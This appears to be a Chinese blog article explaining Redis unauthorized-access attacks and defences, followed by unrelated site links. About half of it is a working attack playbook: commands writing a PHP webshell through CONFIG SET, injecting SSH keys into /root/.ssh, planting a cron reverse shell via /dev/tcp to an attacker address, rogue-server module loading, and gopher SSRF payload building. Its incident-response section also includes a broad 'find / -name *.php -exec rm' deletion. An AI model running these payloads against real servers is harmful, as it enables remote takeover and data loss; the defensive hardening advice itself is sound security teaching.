当前位置: 首页 > news >正文

Redis未授权访问漏洞全解析:从SSRF到getshell的完整链条

Redis未授权访问漏洞深度剖析与实战防御指南

Redis作为高性能键值数据库的广泛应用,使其成为攻击者的重点目标。本文将系统性地剖析Redis未授权访问漏洞的完整攻击链条,从漏洞原理到多种攻击手法(包括SSRF利用、Gopher/Dict协议攻击、主从复制攻击等),并提供可落地的防御方案。无论您是渗透测试人员还是系统管理员,都能从中获得实战价值。

1. Redis未授权访问漏洞核心原理

Redis在设计之初将性能作为首要考量,默认配置存在以下安全隐患:

  • 无认证机制:默认情况下无需密码即可连接,除非手动配置requirepass参数
  • 网络绑定策略:默认监听所有接口(0.0.0.0),暴露在公网风险极高
  • 高危命令未禁用:CONFIG、SAVE等命令可修改关键配置

典型攻击路径分为三个阶段:

  1. 初始访问:通过暴露的6379端口建立未授权连接
  2. 权限提升:利用CONFIG命令修改持久化配置
  3. 持久化攻击:写入恶意文件(webshell/SSH密钥/计划任务)

关键配置参数风险说明:

  • dir:控制持久化文件存储路径
  • dbfilename:决定持久化文件名
  • protected-mode:3.2+版本的安全模式开关

2. 主流攻击手法全解析

2.1 WebShell写入技术

攻击条件

  • 已知目标Web目录绝对路径
  • Redis以root权限运行
  • 存在未授权访问或弱口令

典型操作流程

redis-cli -h 目标IP config set dir /var/www/html config set dbfilename shell.php set payload "<?php system($_GET['cmd']);?>" save

防御对策

# Web服务器配置示例(禁止访问.rdb/.aof文件) location ~* \.(rdb|aof)$ { deny all; }

2.2 SSH公钥注入攻击

技术原理: 通过写入authorized_keys文件实现免密登录,需要:

  1. 生成攻击者SSH密钥对
  2. 将公钥写入Redis
  3. 修改保存路径至/root/.ssh/

关键命令

ssh-keygen -t rsa -f attack_key (echo -e "\n\n"; cat attack_key.pub; echo -e "\n\n") > key.txt cat key.txt | redis-cli -h 目标IP -x set payload redis-cli -h 目标IP config set dir /root/.ssh redis-cli -h 目标IP config set dbfilename authorized_keys redis-cli -h 目标IP save

防御方案

# 修改SSH配置(/etc/ssh/sshd_config) PermitRootLogin prohibit-password StrictModes yes

2.3 计划任务反弹Shell

系统差异

系统类型计划任务路径文件权限要求
CentOS/var/spool/cron/644
Ubuntu/var/spool/cron/crontabs/600

攻击示例

import redis r = redis.Redis(host='目标IP', port=6379) r.config_set('dir', '/var/spool/cron/') r.config_set('dbfilename', 'root') r.set('payload', '\n* * * * * bash -i >& /dev/tcp/攻击IP/端口 0>&1\n') r.save()

防御建议

# 监控cron目录文件变化 inotifywait -m /var/spool/cron -e create,modify

3. 高级攻击手法剖析

3.1 主从复制攻击链

利用条件

  • Redis 4.x-5.0.5版本
  • 主从复制功能启用
  • root权限运行Redis

攻击步骤

  1. 搭建恶意Redis服务器
  2. 通过SLAVEOF命令设置主从关系
  3. 同步恶意.so模块文件
  4. 执行系统命令

工具使用示例

python3 redis-rogue-server.py --rhost 目标IP --lhost 攻击IP --exp module.so

3.2 SSRF结合协议攻击

协议对比

协议类型编码要求适用场景限制条件
GopherURL编码直接命令注入需要协议支持
Dict明文传输信息探测、简单操作不支持多行输入

Gopher攻击示例

import urllib.parse payload = "config set dir /var/www/html\nconfig set dbfilename shell.php\nset payload '<?php phpinfo();?>'\nsave" gopher_url = "gopher://127.0.0.1:6379/_" + urllib.parse.quote(payload.replace("\n","\r\n"))

4. 立体化防御体系构建

4.1 基础安全配置

redis.conf关键配置

bind 127.0.0.1 requirepass 复杂密码 rename-command CONFIG "" rename-command FLUSHALL "" protected-mode yes dir /secured/redis/data/

4.2 网络层防护

  1. 防火墙规则

    iptables -A INPUT -p tcp --dport 6379 -s 可信IP -j ACCEPT iptables -A INPUT -p tcp --dport 6379 -j DROP
  2. 网络隔离

    • 将Redis部署在内网区域
    • 使用跳板机管理访问

4.3 运行时防护

安全监控方案

# 监控Redis关键命令执行 auditctl -w /usr/local/bin/redis-server -p x -k redis-commands # 文件完整性检查 aide --check

4.4 应急响应流程

  1. 入侵识别

    • 检查异常Redis进程
    • 分析/var/log/redis/redis.log
  2. 处置措施

    # 立即断开网络 ifdown eth0 # 备份证据 redis-cli --rdb dump.rdb # 清除后门 find / -name "*.php" -mtime -1 -exec rm -f {} \;

5. 企业级安全实践建议

  1. 权限最小化

    useradd -r -s /bin/false redisuser chown -R redisuser:redisuser /var/lib/redis
  2. 加密通信

    # redis.conf配置 tls-port 6379 tls-cert-file /path/to/redis.crt tls-key-file /path/to/redis.key
  3. 安全审计工具

    • Redis-Audit:专项安全检测
    • Lynis:系统级安全检查
    • OSSEC:实时入侵检测

实际运维中发现,多数成功攻击都源于配置疏忽。曾遇到某企业因使用"redis"作为密码,导致攻击者通过暴力破解在15分钟内获取控制权。这提醒我们:密码复杂度与网络访问控制同样重要。

http://www.jsqmd.com/news/529664/

相关文章:

  • 智慧市政设施选型指南:LED路灯/太阳能路灯/交通监控杆/智能公交站专业厂家 - 深度智识库
  • XCOM 2模组管理终极解决方案:AML启动器完全指南
  • 如何快速检测U盘SD卡真实容量:F3免费防欺诈完整指南
  • 编写程序实现智能书包重量检测,超重时提示“减轻书本”,保护脊椎。
  • BUUCTF PWN实战:babyheap_0ctf_2017堆溢出漏洞利用全解析(附EXP调试技巧)
  • 第九章 动态规划part09
  • 告别Protobuf?在Skynet游戏服务器里用Cap‘n Proto+Lua实现零拷贝序列化
  • 如何快速搭建企业级AI聚合平台:CoAI.Dev完整部署与配置教程
  • 从‘蛇钩’到‘标准划痕’:揭秘ZBrush里那些名字古怪但超好用的笔刷,以及驱动它们的核心快捷键
  • Coze-Loop在医疗影像分析中的优化应用
  • 别再只用二维图表了!用Qt C++给数据加点‘立体感’:自定义3D散点图样式与动态数据更新
  • IO-Kit:Arduino轻量级面向对象I/O抽象库
  • 腾讯微信OpenClaw插件API通信过程剖析与Python原生代码复刻原理
  • asammdf vs 传统工具:为什么这个Python库能快10倍处理MDF4文件?
  • 网络安全测试:如何用hydra和medusa检测你的服务器弱密码漏洞
  • 第10章:让无人机“看懂”世界:视觉识别与目标跟踪实战
  • Spring with AI (4): 搜索扩展——向量数据库与RAG(上)
  • Dify时间参数配置避坑指南:从入门到精通的5个关键步骤
  • DCDC模块电源滤波实战:如何精准输出±5V并选对X/Y安规电容
  • Linux 调度器中的 CPU 时间统计:cputime.c 的用户态 / 内核态记账
  • BetterNCM-Installer:网易云音乐插件的智能部署效率工具
  • 解锁医学影像3D可视化:MRIcroGL的5大技术突破与实战应用
  • GraphicOLED:面向WS0010控制器的100×16图形OLED轻量驱动库
  • 基于SpringBoot+Vue的图书馆管理系统管理系统设计与实现【Java+MySQL+MyBatis完整源码】
  • 实时口罩检测-通用模型绿色计算:单位检测能耗与碳足迹测算
  • MbedSmartRest:面向Cumulocity的轻量级SmartREST嵌入式客户端
  • AudioLDM-S自动化测试:持续集成方案设计
  • 如何通过WindowsCleaner解决C盘空间不足问题?亲测有效的4个核心技巧
  • Linux 调度器中的调度时钟:clock.c 的高精度时间戳支撑
  • 手把手教你用NeuralRecon+TSDF实现单目视频三维重建(附Python代码)